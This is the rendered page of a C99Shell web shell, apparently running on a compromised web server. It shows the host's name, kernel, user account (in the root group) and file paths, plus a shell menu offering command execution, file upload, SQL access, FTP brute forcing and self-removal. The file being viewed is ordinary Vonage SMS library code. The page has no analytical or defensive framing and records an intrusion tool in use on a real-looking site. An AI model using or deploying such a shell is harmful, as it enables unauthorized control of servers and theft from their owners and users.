!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/vonage/client-core/src/SMS/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ExceptionErrorHandler.php (2.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Vonage\SMS;

use 
Psr\Http\Message\RequestInterface;
use 
Psr\Http\Message\ResponseInterface;
use 
Vonage\Client\Exception as ClientException;
use 
Vonage\Client\Exception\ThrottleException;

use function 
json_decode;
use function 
preg_match;

class 
ExceptionErrorHandler
{
    
/**
     * @throws ClientException\Request
     * @throws ClientException\Server
     * @throws ThrottleException
     */
    
public function __invoke(ResponseInterface $responseRequestInterface $request)
    {
        
//check for valid data, as well as an error response from the API
        
if ((int)$response->getStatusCode() === 429) {
            throw new 
ThrottleException('Too many concurrent requests'$response->getStatusCode());
        }

        
$data json_decode($response->getBody()->getContents(), true);

        if (!isset(
$data['messages'])) {
            if (isset(
$data['error-code'], $data['error-code-label'])) {
                
$e = new ClientException\Request($data['error-code-label'], (int)$data['error-code']);
            } elseif (isset(
$data['title'], $data['detail'])) {
                
$e = new ClientException\Request($data['title'] . ' : ' $data['detail']);
            } else {
                
$e = new ClientException\Request('Unexpected response from the API');
            }

            
$e->setEntity($data);
            throw 
$e;
        }

        
//normalize errors (client vrs server)
        
foreach ($data['messages'] as $part) {
            switch (
$part['status']) {
                case 
'0':
                    break; 
//all okay
                
case '1':
                    
$e = new ThrottleException($part['error-text']);
                    
$e->setTimeout(1);
                    
$e->setEntity($data);

                    if (
preg_match('#Throughput Rate Exceeded - please wait \[\s+(\d+)\s+] and retry#', (string) $part['error-text'], $match)) {
                        
$seconds max((int)$match[1] / 10001);
                        
$e->setTimeout($seconds);
                    }

                    throw 
$e;
                case 
'5':
                    
$e = new ClientException\Server($part['error-text'], (int)$part['status']);
                    
$e->setEntity($data);
                    throw 
$e;
                default:
                    
$e = new ClientException\Request($part['error-text'], (int)$part['status']);
                    
$e->setEntity($data);
                    throw 
$e;
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--